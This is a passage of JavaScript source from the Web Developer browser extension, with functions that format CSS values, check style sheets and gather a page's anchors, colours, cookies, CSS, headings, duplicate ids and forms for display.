  1075.  
  1076.     htmlElement.innerHTML = html;
  1077.  
  1078.     // While there children of the HTML element
  1079.     while(htmlElement.firstChild)
  1080.     {
  1081.       element.appendChild(htmlElement.firstChild);
  1082.     }
  1083.   }
  1084. };
  1085.  
  1086. // Returns a chrome URL
  1087. WebDeveloper.Common.getChromeURL = function(url)
  1088. {
  1089.   return chrome.extension.getURL(url);
  1090. };
  1091.  
  1092. // Returns the current content document
  1093. WebDeveloper.Common.getContentDocument = function()
  1094. {
  1095.   return document;
  1096. };
  1097.  
  1098. // Returns the current content window
  1099. WebDeveloper.Common.getContentWindow = function()
  1100. {
  1101.   return window;
  1102. };
  1103.  
  1104. // Returns a CSS property
  1105. WebDeveloper.Common.getCSSProperty = function(property)
  1106. {
  1107.   return property;
  1108. };
  1109.  
  1110. // Gets the content from a URL
  1111. WebDeveloper.Common.getURLContent = function(urlContentRequest, errorMessage, configuration)
  1112. {
  1113.   var url = urlContentRequest.url;
  1114.  
  1115.   // If the URL is not entirely generated
  1116.   if(url.indexOf("wyciwyg://") !== 0)
  1117.   {
  1118.     // Try to download the file
  1119.     try
  1120.     {
  1121.       var request = new XMLHttpRequest();
  1122.  
  1123.       request.timeout = WebDeveloper.Common.requestTimeout;
  1124.  
  1125.       request.onreadystatechange = function()
  1126.       {
  1127.         // If the request completed
  1128.         if(request.readyState == 4)
  1129.         {
  1130.           WebDeveloper.Common.urlContentRequestComplete(request.responseText, urlContentRequest, configuration);
  1131.         }
  1132.       };
  1133.  
  1134.       request.ontimeout = function()
  1135.       {
  1136.         WebDeveloper.Common.urlContentRequestComplete(errorMessage, urlContentRequest, configuration);
  1137.       };
  1138.  
  1139.       request.open("get", url);
  1140.       request.send(null);
  1141.     }
  1142.     catch(exception)
  1143.     {
  1144.       WebDeveloper.Common.urlContentRequestComplete(errorMessage, urlContentRequest, configuration);
  1145.     }
  1146.   }
  1147. };
  1148.  
  1149. var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
  1150.  
  1151. WebDeveloper.CSS = WebDeveloper.CSS || {};
  1152.  
  1153. // Formats a style property
  1154. WebDeveloper.CSS.formatStyleProperty = function(styleProperty)
  1155. {
  1156.   // Switch on the style property
  1157.   switch(styleProperty)
  1158.   {
  1159.     case "margin-bottom-value":
  1160.       return "margin-bottom";
  1161.     case "margin-left-value":
  1162.       return "margin-left";
  1163.     case "margin-right-value":
  1164.       return "margin-right";
  1165.     case "margin-top-value":
  1166.       return "margin-top";
  1167.     case "padding-bottom-value":
  1168.       return "padding-bottom";
  1169.     case "padding-left-value":
  1170.       return "padding-left";
  1171.     case "padding-right-value":
  1172.       return "padding-right";
  1173.     case "padding-top-value":
  1174.       return "padding-top";
  1175.     case "-x-background-x-position":
  1176.       return "background-x-position";
  1177.     case "-x-background-y-position":
  1178.       return "background-y-position";
  1179.     default:
  1180.       return styleProperty;
  1181.   }
  1182. };
  1183.  
  1184. // Formats a style value
  1185. WebDeveloper.CSS.formatStyleValue = function(styleValue)
  1186. {
  1187.   // If the style value is set
  1188.   if(styleValue)
  1189.   {
  1190.     var rgbRegularExpression = new RegExp("rgb\\((\\d{1,3}),\\s(\\d{1,3}),\\s(\\d{1,3})\\)", "gi");
  1191.     var styleValueColor      = rgbRegularExpression.exec(styleValue);
  1192.  
  1193.     // If the style value is a color
  1194.     if(styleValueColor)
  1195.     {
  1196.       var blue  = parseInt(styleValueColor[3], 10).toString(16);
  1197.       var green = parseInt(styleValueColor[2], 10).toString(16);
  1198.       var red   = parseInt(styleValueColor[1], 10).toString(16);
  1199.  
  1200.       // If the blue color is only 1 character long
  1201.       if(blue.length == 1)
  1202.       {
  1203.         blue = "0" + blue;
  1204.       }
  1205.  
  1206.       // If the green color is only 1 character long
  1207.       if(green.length == 1)
  1208.       {
  1209.         green = "0" + green;
  1210.       }
  1211.  
  1212.       // If the red color is only 1 character long
  1213.       if(red.length == 1)
  1214.       {
  1215.         red = "0" + red;
  1216.       }
  1217.  
  1218.       return "#" + red + green + blue;
  1219.     }
  1220.   }
  1221.  
  1222.   return styleValue;
  1223. };
  1224.  
  1225. // Returns an array of style sheets imported in the given style sheet
  1226. WebDeveloper.CSS.getImportedStyleSheets = function(styleSheet)
  1227. {
  1228.   var styleSheets = [];
  1229.  
  1230.   // If the style sheet is set
  1231.   if(styleSheet)
  1232.   {
  1233.     var cssRules = styleSheet.cssRules;
  1234.  
  1235.     // If there are CSS rules
  1236.     if(cssRules)
  1237.     {
  1238.       var cssRule            = null;
  1239.       var importedStyleSheet = null;
  1240.  
  1241.       // Loop through the style sheet rules
  1242.       for(var i = 0, l = cssRules.length; i < l; i++)
  1243.       {
  1244.         cssRule = cssRules[i];
  1245.  
  1246.         // If this is an import rule
  1247.         if(cssRule.type == 3)
  1248.         {
  1249.           importedStyleSheet = cssRule.styleSheet;
  1250.  
  1251.           // If this style sheet is valid
  1252.           if(WebDeveloper.CSS.isValidStyleSheet(importedStyleSheet))
  1253.           {
  1254.             styleSheets.push(importedStyleSheet.href);
  1255.  
  1256.             styleSheets = styleSheets.concat(WebDeveloper.CSS.getImportedStyleSheets(importedStyleSheet));
  1257.           }
  1258.         }
  1259.       }
  1260.     }
  1261.   }
  1262.  
  1263.   return styleSheets;
  1264. };
  1265.  
  1266. // Returns true if this is an alternate style sheet
  1267. WebDeveloper.CSS.isAlternateStyleSheet = function(styleSheet)
  1268. {
  1269.   // If the style sheet is set
  1270.   if(styleSheet)
  1271.   {
  1272.     var ownerNode = styleSheet.ownerNode;
  1273.  
  1274.     // If the owner node is set
  1275.     if(ownerNode)
  1276.     {
  1277.       // If the owner node is a processing instruction
  1278.       if(ownerNode.nodeType == Node.PROCESSING_INSTRUCTION_NODE)
  1279.       {
  1280.         // If the processing instruction data contains alternate="yes"
  1281.         if(ownerNode.data.indexOf('alternate="yes"') != -1)
  1282.         {
  1283.           return true;
  1284.         }
  1285.       }
  1286.       else if(ownerNode.hasAttribute("rel") && ownerNode.getAttribute("rel").toLowerCase() == "alternate stylesheet")
  1287.       {
  1288.         return true;
  1289.       }
  1290.     }
  1291.   }
  1292.  
  1293.   return false;
  1294. };
  1295.  
  1296. // Returns true if this style sheet is for this media type
  1297. WebDeveloper.CSS.isMediaStyleSheet = function(styleSheet, mediaType)
  1298. {
  1299.   // If the style sheet and media type are set
  1300.   if(styleSheet && mediaType)
  1301.   {
  1302.     var media               = styleSheet.media;
  1303.     var mediaLength         = media.length;
  1304.     var styleSheetMediaType = null;
  1305.  
  1306.     // If there is no media
  1307.     if(mediaLength === 0)
  1308.     {
  1309.       return true;
  1310.     }
  1311.  
  1312.     // Loop through the media
  1313.     for(var i = 0; i < mediaLength; i++)
  1314.     {
  1315.       styleSheetMediaType = media.item(i).toLowerCase();
  1316.  
  1317.       // If the style sheet media type is all or matches the media type
  1318.       if(styleSheetMediaType == "all" || styleSheetMediaType == mediaType)
  1319.       {
  1320.         return true;
  1321.       }
  1322.     }
  1323.   }
  1324.  
  1325.   return false;
  1326. };
  1327.  
  1328. // Returns true if this is a valid rule style
  1329. WebDeveloper.CSS.isValidRuleStyle = function(ruleStyles, ruleStyle)
  1330. {
  1331.   // If the rule style is set
  1332.   if(ruleStyle)
  1333.   {
  1334.     // If the rule style is an invalid rule style
  1335.     if(ruleStyle.indexOf("-moz-") === 0 || ruleStyle.indexOf("-x-") === 0 || ruleStyles.getPropertyValue(ruleStyle).indexOf("-moz-") === 0 || ((ruleStyle.indexOf("-ltr-source") !== 0 || ruleStyle.indexOf("-rtl-source") !== 0) && ruleStyles.getPropertyValue(ruleStyle) === "physical")) // eslint-disable-line no-extra-parens
  1336.     {
  1337.       return false;
  1338.     }
  1339.  
  1340.     return true;
  1341.   }
  1342.  
  1343.   return false;
  1344. };
  1345.  
  1346. // Returns true if this is a valid style sheet
  1347. WebDeveloper.CSS.isValidStyleSheet = function(styleSheet)
  1348. {
  1349.   // If the style sheet is set
  1350.   if(styleSheet)
  1351.   {
  1352.     var styleSheetHref = styleSheet.href;
  1353.  
  1354.     // If the style sheet href is not set or this is not a chrome or data style sheet
  1355.     if(!styleSheetHref || styleSheetHref.indexOf("about:") !== 0 && styleSheetHref.indexOf("chrome://") !== 0 && styleSheetHref.indexOf("chrome-extension://") !== 0 && styleSheetHref.indexOf("data:") !== 0 && styleSheetHref.indexOf("resource://") !== 0)
  1356.     {
  1357.       return true;
  1358.     }
  1359.   }
  1360.  
  1361.   return false;
  1362. };
  1363.  
  1364. // Toggles all the style sheets in a document
  1365. WebDeveloper.CSS.toggleAllStyleSheets = function(disable, contentDocument)
  1366. {
  1367.   var styleSheet  = null;
  1368.   var styleSheets = contentDocument.styleSheets;
  1369.  
  1370.   // Loop through the style sheets
  1371.   for(var i = 0, l = styleSheets.length; i < l; i++)
  1372.   {
  1373.     styleSheet = styleSheets[i];
  1374.  
  1375.     // If this is a valid style sheet and is not an alternate style sheet or style sheets are being disabled
  1376.     if(WebDeveloper.CSS.isValidStyleSheet(styleSheet) && (!WebDeveloper.CSS.isAlternateStyleSheet(styleSheet) || disable))
  1377.     {
  1378.       styleSheet.disabled = disable;
  1379.     }
  1380.   }
  1381. };
  1382.  
  1383. var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
  1384.  
  1385. WebDeveloper.Content = WebDeveloper.Content || {};
  1386.  
  1387. // Adds the color of the specified property to the list
  1388. WebDeveloper.Content.addColor = function(node, property, colors)
  1389. {
  1390.   // If the node, property and colors are set
  1391.   if(node && property && colors)
  1392.   {
  1393.     var color = WebDeveloper.Common.getPropertyCSSValue(node.ownerDocument.defaultView.getComputedStyle(node, null), property);
  1394.  
  1395.     // If the color is set and is not an identifier
  1396.     if(color && color.primitiveType != WebDeveloper.Common.getCSSPrimitiveValue("IDENT"))
  1397.     {
  1398.       // If the color has a primitive type of color
  1399.       if(color.primitiveType == WebDeveloper.Common.getCSSPrimitiveValue("RGBCOLOR"))
  1400.       {
  1401.         var cssNumber = WebDeveloper.Common.getCSSPrimitiveValue("NUMBER");
  1402.  
  1403.         color = color.getRGBColorValue();
  1404.  
  1405.         colors.push("#" + WebDeveloper.Content.formatColor(color.red.getFloatValue(cssNumber)) + WebDeveloper.Content.formatColor(color.green.getFloatValue(cssNumber)) + WebDeveloper.Content.formatColor(color.blue.getFloatValue(cssNumber)));
  1406.       }
  1407.       else
  1408.       {
  1409.         color = color.match(/^rgb\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)$/i);
  1410.  
  1411.         // If the color is in RGB format
  1412.         if(color)
  1413.         {
  1414.           colors.push("#" + WebDeveloper.Content.formatColor(parseInt(color[1], 10)) + WebDeveloper.Content.formatColor(parseInt(color[2], 10)) + WebDeveloper.Content.formatColor(parseInt(color[3], 10)));
  1415.         }
  1416.       }
  1417.     }
  1418.   }
  1419. };
  1420.  
  1421. // Filters cookies based on the parameters
  1422. WebDeveloper.Content.filterCookies = function(allCookies, host, path, sort)
  1423. {
  1424.   var filteredCookies = [];
  1425.  
  1426.   // If the cookies and host are set
  1427.   if(allCookies && host)
  1428.   {
  1429.     var cookie     = null;
  1430.     var cookieHost = null;
  1431.     var cookiePath = null;
  1432.  
  1433.     // Loop through the cookies
  1434.     for(var i = 0, l = allCookies.length; i < l; i++)
  1435.     {
  1436.       cookie = allCookies[i];
  1437.  
  1438.       cookieHost = cookie.host;
  1439.       cookiePath = cookie.path;
  1440.  
  1441.       // If there is a host and path for this cookie
  1442.       if(cookieHost && cookiePath)
  1443.       {
  1444.         // If the cookie host starts with '.'
  1445.         if(cookieHost.charAt(0) == ".")
  1446.         {
  1447.           cookieHost = cookieHost.substring(1);
  1448.         }
  1449.  
  1450.         // If the host and cookie host and path and cookie path match
  1451.         if((host == cookieHost || WebDeveloper.Common.endsWith(host, "." + cookieHost)) && (path == cookiePath || cookiePath.indexOf(path) === 0))
  1452.         {
  1453.           filteredCookies.push(cookie);
  1454.         }
  1455.       }
  1456.     }
  1457.  
  1458.     // If sorting cookies
  1459.     if(sort)
  1460.     {
  1461.       filteredCookies.sort(WebDeveloper.Content.sortCookies);
  1462.     }
  1463.   }
  1464.  
  1465.   return filteredCookies;
  1466. };
  1467.  
  1468. // Formats a CSS color
  1469. WebDeveloper.Content.formatColor = function(color)
  1470. {
  1471.   var formattedColor = color.toString(16);
  1472.  
  1473.   // If the formatted color is less than 2 characters long
  1474.   if(formattedColor.length < 2)
  1475.   {
  1476.     return "0" + formattedColor;
  1477.   }
  1478.  
  1479.   return formattedColor;
  1480. };
  1481.  
  1482. // Returns any anchors in the document
  1483. WebDeveloper.Content.getAnchors = function()
  1484. {
  1485.   var anchor             = null;
  1486.   var anchors            = {};
  1487.   var contentDocument    = WebDeveloper.Common.getContentDocument();
  1488.   var contentDocuments   = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1489.   var documentAllAnchors = null;
  1490.   var documentAnchors    = null;
  1491.   var nonUniqueAnchors   = null;
  1492.  
  1493.   anchors.documents = [];
  1494.   anchors.pageTitle = contentDocument.title;
  1495.   anchors.pageURL   = contentDocument.documentURI;
  1496.  
  1497.   // Loop through the documents
  1498.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1499.   {
  1500.     contentDocument         = contentDocuments[i];
  1501.     documentAllAnchors      = contentDocument.querySelectorAll("[id]");
  1502.     documentAnchors         = {};
  1503.     documentAnchors.anchors = [];
  1504.     documentAnchors.url     = contentDocument.documentURI;
  1505.     nonUniqueAnchors        = [];
  1506.  
  1507.     // Loop through the id anchors
  1508.     for(var j = 0, m = documentAllAnchors.length; j < m; j++)
  1509.     {
  1510.       nonUniqueAnchors.push(documentAllAnchors[j].getAttribute("id"));
  1511.     }
  1512.  
  1513.     documentAllAnchors = contentDocument.querySelectorAll("a[name]");
  1514.  
  1515.     // Loop through the name anchors
  1516.     for(j = 0, m = documentAllAnchors.length; j < m; j++)
  1517.     {
  1518.       nonUniqueAnchors.push(documentAllAnchors[j].getAttribute("name"));
  1519.     }
  1520.  
  1521.     nonUniqueAnchors.sort();
  1522.  
  1523.     // Loop through the anchors
  1524.     for(j = 0, m = nonUniqueAnchors.length; j < m; j++)
  1525.     {
  1526.       anchor = nonUniqueAnchors[j];
  1527.  
  1528.       // If this is not the last anchor and the anchor is the same as the next anchor
  1529.       if(j + 1 < m && anchor == nonUniqueAnchors[j + 1])
  1530.       {
  1531.         continue;
  1532.       }
  1533.  
  1534.       documentAnchors.anchors.push(anchor);
  1535.     }
  1536.  
  1537.     anchors.documents.push(documentAnchors);
  1538.   }
  1539.  
  1540.   return anchors;
  1541. };
  1542.  
  1543. // Returns any broken images in the document
  1544. WebDeveloper.Content.getBrokenImages = function()
  1545. {
  1546.   var allImages         = null;
  1547.   var brokenImages      = {};
  1548.   var contentDocument   = WebDeveloper.Common.getContentDocument();
  1549.   var contentDocuments  = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1550.   var documentImages    = null;
  1551.  
  1552.   brokenImages.documents = [];
  1553.   brokenImages.pageTitle = contentDocument.title;
  1554.   brokenImages.pageURL   = contentDocument.documentURI;
  1555.  
  1556.   // Loop through the documents to get the images and count them
  1557.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1558.   {
  1559.     contentDocument       = contentDocuments[i];
  1560.     allImages             = WebDeveloper.Common.getDocumentImages(contentDocument);
  1561.     documentImages        = {};
  1562.     documentImages.images = [];
  1563.     documentImages.url    = contentDocument.documentURI;
  1564.  
  1565.     // Loop through the images
  1566.     for(var j = 0, m = allImages.length; j < m; j++)
  1567.     {
  1568.       documentImages.images.push(allImages[j].src);
  1569.     }
  1570.  
  1571.     brokenImages.documents.push(documentImages);
  1572.   }
  1573.  
  1574.   return brokenImages;
  1575. };
  1576.  
  1577. // Returns all the colors used on the page
  1578. WebDeveloper.Content.getColors = function()
  1579. {
  1580.   var colors           = {};
  1581.   var contentDocument  = WebDeveloper.Common.getContentDocument();
  1582.   var contentDocuments = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1583.   var documentColors   = null;
  1584.  
  1585.   colors.documents = [];
  1586.   colors.pageTitle = contentDocument.title;
  1587.   colors.pageURL   = contentDocument.documentURI;
  1588.  
  1589.   // Loop through the documents
  1590.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1591.   {
  1592.     contentDocument       = contentDocuments[i];
  1593.     documentColors        = {};
  1594.     documentColors.colors = WebDeveloper.Content.getDocumentColors(contentDocument);
  1595.     documentColors.url    = contentDocument.documentURI;
  1596.  
  1597.     colors.documents.push(documentColors);
  1598.   }
  1599.  
  1600.   return colors;
  1601. };
  1602.  
  1603. // Returns all the cookies for the document
  1604. WebDeveloper.Content.getCookies = function(allCookies)
  1605. {
  1606.   var contentDocument  = WebDeveloper.Common.getContentDocument();
  1607.   var contentDocuments = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1608.   var cookies          = {};
  1609.   var documentCookies  = null;
  1610.   var host             = null;
  1611.  
  1612.   cookies.documents = [];
  1613.   cookies.pageTitle = contentDocument.title;
  1614.   cookies.pageURL   = contentDocument.documentURI;
  1615.  
  1616.   // Loop through the documents
  1617.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1618.   {
  1619.     contentDocument         = contentDocuments[i];
  1620.     documentCookies         = {};
  1621.     documentCookies.cookies = [];
  1622.     documentCookies.url     = contentDocument.documentURI;
  1623.     host                    = null;
  1624.  
  1625.     // Try to get the host
  1626.     try
  1627.     {
  1628.       host = contentDocument.location.hostname;
  1629.     }
  1630.     catch(exception)
  1631.     {
  1632.       // Ignore
  1633.     }
  1634.  
  1635.     documentCookies.cookies = WebDeveloper.Content.filterCookies(allCookies, host, "/", true);
  1636.  
  1637.     cookies.documents.push(documentCookies);
  1638.   }
  1639.  
  1640.   return cookies;
  1641. };
  1642.  
  1643. // Returns all the CSS for the document
  1644. WebDeveloper.Content.getCSS = function()
  1645. {
  1646.   var contentDocument  = WebDeveloper.Common.getContentDocument();
  1647.   var contentDocuments = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1648.   var css              = {};
  1649.  
  1650.   css.documents = [];
  1651.   css.pageTitle = contentDocument.title;
  1652.   css.pageURL   = contentDocument.documentURI;
  1653.  
  1654.   // Loop through the documents
  1655.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1656.   {
  1657.     css.documents.push(WebDeveloper.Content.getDocumentCSS(contentDocuments[i]));
  1658.   }
  1659.  
  1660.   return css;
  1661. };
  1662.  
  1663. // Returns all the colors used in the document
  1664. WebDeveloper.Content.getDocumentColors = function(contentDocument)
  1665. {
  1666.   var colors     = [];
  1667.   var node       = null;
  1668.   var treeWalker = contentDocument.createTreeWalker(WebDeveloper.Common.getDocumentBodyElement(contentDocument), NodeFilter.SHOW_ELEMENT, null, false);
  1669.  
  1670.   // While the tree walker has more nodes
  1671.   while((node = treeWalker.nextNode()) !== null)
  1672.   {
  1673.     WebDeveloper.Content.addColor(node, "background-color", colors);
  1674.     WebDeveloper.Content.addColor(node, "border-bottom-color", colors);
  1675.     WebDeveloper.Content.addColor(node, "border-left-color", colors);
  1676.     WebDeveloper.Content.addColor(node, "border-right-color", colors);
  1677.     WebDeveloper.Content.addColor(node, "border-top-color", colors);
  1678.     WebDeveloper.Content.addColor(node, "color", colors);
  1679.   }
  1680.  
  1681.   colors = WebDeveloper.Content.tidyColors(colors);
  1682.  
  1683.   return colors;
  1684. };
  1685.  
  1686. // Returns the CSS for the specified document
  1687. WebDeveloper.Content.getDocumentCSS = function(contentDocument, screenOnly)
  1688. {
  1689.   var documentCSS     = {};
  1690.   var embeddedStyles  = "";
  1691.   var styleSheet      = null;
  1692.   var styleSheets     = contentDocument.getElementsByTagName("style");
  1693.   var styleSheetSheet = null;
  1694.   var styleSheetURL   = null;
  1695.  
  1696.   documentCSS.url         = contentDocument.documentURI;
  1697.   documentCSS.styleSheets = [];
  1698.  
  1699.   // Loop through the embedded style sheets
  1700.   for(var i = 0, l = styleSheets.length; i < l; i++)
  1701.   {
  1702.     styleSheet      = styleSheets[i];
  1703.     styleSheetSheet = styleSheet.sheet;
  1704.  
  1705.     // If this is a valid style sheet and not returning media screen only or this is an active screen style sheet
  1706.     if(WebDeveloper.CSS.isValidStyleSheet(styleSheetSheet) && (!screenOnly || WebDeveloper.CSS.isMediaStyleSheet(styleSheetSheet, "screen")))
  1707.     {
  1708.       embeddedStyles += styleSheet.textContent.trim() + "\n\n";
  1709.  
  1710.       documentCSS.styleSheets = documentCSS.styleSheets.concat(WebDeveloper.CSS.getImportedStyleSheets(styleSheetSheet));
  1711.     }
  1712.   }
  1713.  
  1714.   styleSheets = contentDocument.styleSheets;
  1715.  
  1716.   // Loop through the style sheets
  1717.   for(i = 0, l = styleSheets.length; i < l; i++)
  1718.   {
  1719.     styleSheet    = styleSheets[i];
  1720.     styleSheetURL = styleSheet.href;
  1721.  
  1722.     // If this is a valid style sheet, is not an inline style sheet or disabled and not returning media screen only or this is an active screen style sheet
  1723.     if(WebDeveloper.CSS.isValidStyleSheet(styleSheet) && styleSheetURL && styleSheetURL != contentDocument.documentURI && !styleSheet.disabled && (!screenOnly || WebDeveloper.CSS.isMediaStyleSheet(styleSheet, "screen") && !WebDeveloper.CSS.isAlternateStyleSheet(styleSheet)))
  1724.     {
  1725.       documentCSS.styleSheets.push(WebDeveloper.Common.removeReloadParameterFromURL(styleSheetURL));
  1726.  
  1727.       documentCSS.styleSheets = documentCSS.styleSheets.concat(WebDeveloper.CSS.getImportedStyleSheets(styleSheet));
  1728.     }
  1729.   }
  1730.  
  1731.   // If there are embedded styles
  1732.   if(embeddedStyles)
  1733.   {
  1734.     documentCSS.embedded = embeddedStyles;
  1735.   }
  1736.  
  1737.   return documentCSS;
  1738. };
  1739.  
  1740. // Returns the details for the document
  1741. WebDeveloper.Content.getDocumentDetails = function()
  1742. {
  1743.   var contentDocument = WebDeveloper.Common.getContentDocument();
  1744.   var documentDetails = {};
  1745.  
  1746.   documentDetails.pageTitle = contentDocument.title;
  1747.   documentDetails.pageURL   = contentDocument.documentURI;
  1748.  
  1749.   return documentDetails;
  1750. };
  1751.  
  1752. // Returns the outline for a document
  1753. WebDeveloper.Content.getDocumentOutline = function()
  1754. {
  1755.   var contentDocument     = WebDeveloper.Common.getContentDocument();
  1756.   var contentDocuments    = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1757.   var documentAllHeadings = null;
  1758.   var documentHeading     = null;
  1759.   var documentOutline     = null;
  1760.   var heading             = null;
  1761.   var headingImages       = null;
  1762.   var headingText         = null;
  1763.   var outline             = {};
  1764.  
  1765.   outline.documents = [];
  1766.   outline.pageTitle = contentDocument.title;
  1767.   outline.pageURL   = contentDocument.documentURI;
  1768.  
  1769.   // Loop through the documents
  1770.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1771.   {
  1772.     contentDocument          = contentDocuments[i];
  1773.     documentAllHeadings      = contentDocument.querySelectorAll("h1, h2, h3, h4, h5, h6");
  1774.     documentOutline          = {};
  1775.     documentOutline.headings = [];
  1776.     documentOutline.url      = contentDocument.documentURI;
  1777.  
  1778.     // Loop through the headers
  1779.     for(var j = 0, m = documentAllHeadings.length; j < m; j++)
  1780.     {
  1781.       documentHeading       = {};
  1782.       heading               = documentAllHeadings[j];
  1783.       headingText           = WebDeveloper.Common.getElementText(heading).trim();
  1784.       documentHeading.level = parseInt(heading.tagName.toLowerCase().substring(1), 10);
  1785.  
  1786.       // If there is no heading text
  1787.       if(!headingText)
  1788.       {
  1789.         headingImages = heading.querySelectorAll("img[alt]");
  1790.  
  1791.         // Loop through the heading images
  1792.         for(var k = 0, n = headingImages.length; k < n; k++)
  1793.         {
  1794.           headingText += headingImages[k].getAttribute("alt") + " ";
  1795.         }
  1796.  
  1797.         headingText = headingText.trim();
  1798.  
  1799.         // If there is heading text
  1800.         if(headingText)
  1801.         {
  1802.           headingText = "(" + headingText + ")";
  1803.         }
  1804.       }
  1805.  
  1806.       documentHeading.text = headingText;
  1807.  
  1808.       documentOutline.headings.push(documentHeading);
  1809.     }
  1810.  
  1811.     outline.documents.push(documentOutline);
  1812.   }
  1813.  
  1814.   return outline;
  1815. };
  1816.  
  1817. // Returns all the documents under a frame
  1818. WebDeveloper.Content.getDocuments = function(frame)
  1819. {
  1820.   var documents = [];
  1821.  
  1822.   // If the frame is set
  1823.   if(frame)
  1824.   {
  1825.     var frames = frame.frames;
  1826.  
  1827.     // Try to access the frame document
  1828.     try
  1829.     {
  1830.       // If the frame document exists
  1831.       if(frame.document)
  1832.       {
  1833.         documents.push(frame.document);
  1834.       }
  1835.     }
  1836.     catch(exception)
  1837.     {
  1838.       // Ignore
  1839.     }
  1840.  
  1841.     // Loop through the frames
  1842.     for(var i = 0, l = frames.length; i < l; i++)
  1843.     {
  1844.       documents = documents.concat(WebDeveloper.Content.getDocuments(frames[i]));
  1845.     }
  1846.   }
  1847.  
  1848.   return documents;
  1849. };
  1850.  
  1851. // Returns any duplicate ids in the document
  1852. WebDeveloper.Content.getDuplicateIds = function()
  1853. {
  1854.   var contentDocument      = WebDeveloper.Common.getContentDocument();
  1855.   var contentDocuments     = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1856.   var documentAllIds       = null;
  1857.   var documentDuplicateIds = null;
  1858.   var duplicateIds         = {};
  1859.   var id                   = null;
  1860.   var nonDuplicateIds    = null;
  1861.  
  1862.   duplicateIds.documents = [];
  1863.   duplicateIds.pageTitle = contentDocument.title;
  1864.   duplicateIds.pageURL   = contentDocument.documentURI;
  1865.  
  1866.   // Loop through the documents
  1867.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1868.   {
  1869.     contentDocument          = contentDocuments[i];
  1870.     documentAllIds           = contentDocument.querySelectorAll("[id]");
  1871.     documentDuplicateIds     = {};
  1872.     documentDuplicateIds.ids = [];
  1873.     documentDuplicateIds.url = contentDocument.documentURI;
  1874.     nonDuplicateIds          = [];
  1875.  
  1876.     // Loop through the ids
  1877.     for(var j = 0, m = documentAllIds.length; j < m; j++)
  1878.     {
  1879.       nonDuplicateIds.push(documentAllIds[j].getAttribute("id"));
  1880.     }
  1881.  
  1882.     nonDuplicateIds.sort();
  1883.  
  1884.     // Loop through the ids
  1885.     for(j = 0, m = nonDuplicateIds.length; j < m; j++)
  1886.     {
  1887.       id = nonDuplicateIds[j];
  1888.  
  1889.       // If this is the same as the previous id and it is not already in the duplicate ids array
  1890.       if(id == nonDuplicateIds[j - 1] && !WebDeveloper.Common.inArray(id, documentDuplicateIds.ids))
  1891.       {
  1892.         documentDuplicateIds.ids.push(id);
  1893.       }
  1894.     }
  1895.  
  1896.     duplicateIds.documents.push(documentDuplicateIds);
  1897.   }
  1898.  
  1899.   return duplicateIds;
  1900. };
  1901.  
  1902. // Returns any forms in the document
  1903. WebDeveloper.Content.getForms = function()
  1904. {
  1905.   var allForms            = null;
  1906.   var contentDocument     = WebDeveloper.Common.getContentDocument();
  1907.   var contentDocuments    = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  1908.   var documentForm        = null;
  1909.   var documentFormElement = null;
  1910.   var documentForms       = null;
  1911.   var elementType         = null;
  1912.   var form                = null;
  1913.   var formElement         = null;
  1914.   var formElementId       = null;
  1915.   var formElements        = null;
  1916.   var forms               = {};
  1917.   var labelElement        = null;
  1918.  
  1919.   forms.documents = [];
  1920.   forms.pageTitle = contentDocument.title;
  1921.   forms.pageURL   = contentDocument.documentURI;
  1922.  
  1923.   // Loop through the documents
  1924.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  1925.   {
  1926.     contentDocument     = contentDocuments[i];
  1927.     allForms            = contentDocument.forms;
  1928.     documentForms       = {};
  1929.     documentForms.forms = [];
  1930.     documentForms.url   = contentDocument.documentURI;
  1931.  
  1932.     // Loop through the forms
  1933.     for(var j = 0, m = allForms.length; j < m; j++)
  1934.     {
  1935.       documentForm          = {};
  1936.       documentForm.elements = [];
  1937.       form                  = allForms[j];
  1938.       formElements          = form.elements;
  1939.  
  1940.       // If the form has an action attribute
  1941.       if(form.hasAttribute("action"))
  1942.       {
  1943.         documentForm.action = form.getAttribute("action");
  1944.       }
  1945.  
  1946.       // If the form has an id attribute
  1947.       if(form.hasAttribute("id"))
  1948.       {
  1949.         documentForm.id = form.getAttribute("id");
  1950.       }
  1951.  
  1952.       // If the form has a method attribute
  1953.       if(form.hasAttribute("method"))
  1954.       {
  1955.         documentForm.method = form.getAttribute("method");
  1956.       }
  1957.  
  1958.       // If the form has a name attribute
  1959.       if(form.hasAttribute("name"))
  1960.       {
  1961.         documentForm.name = form.getAttribute("name");
  1962.       }
  1963.  
  1964.       // Loop through the form elements
  1965.       for(var k = 0, n = formElements.length; k < n; k++)
  1966.       {
  1967.         documentFormElement = {};
  1968.         formElement         = formElements[k];
  1969.         elementType         = formElement.tagName.toLowerCase();
  1970.         formElementId       = formElement.getAttribute("id");
  1971.         labelElement        = formElement.parentNode;
  1972.  
  1973.         // If this is an input element
  1974.         if(elementType == "input")
  1975.         {
  1976.           documentFormElement.value = formElement.value;
  1977.  
  1978.           // If the form element has a type attribute
  1979.           if(formElement.hasAttribute("type"))
  1980.           {
  1981.             elementType = formElement.getAttribute("type");
  1982.           }
  1983.         }
  1984.         else if(elementType == "select" || elementType == "textarea")
  1985.         {
  1986.           documentFormElement.value = formElement.value;
  1987.         }
  1988.  
  1989.         // If the parent element is a label
  1990.         if(labelElement.tagName.toLowerCase() == "label")
  1991.         {
  1992.           documentFormElement.label = labelElement.textContent.trim();
  1993.         }
  1994.  
  1995.         // If the form element has an id attribute
  1996.         if(formElementId)
  1997.         {
  1998.           documentFormElement.id = formElementId;
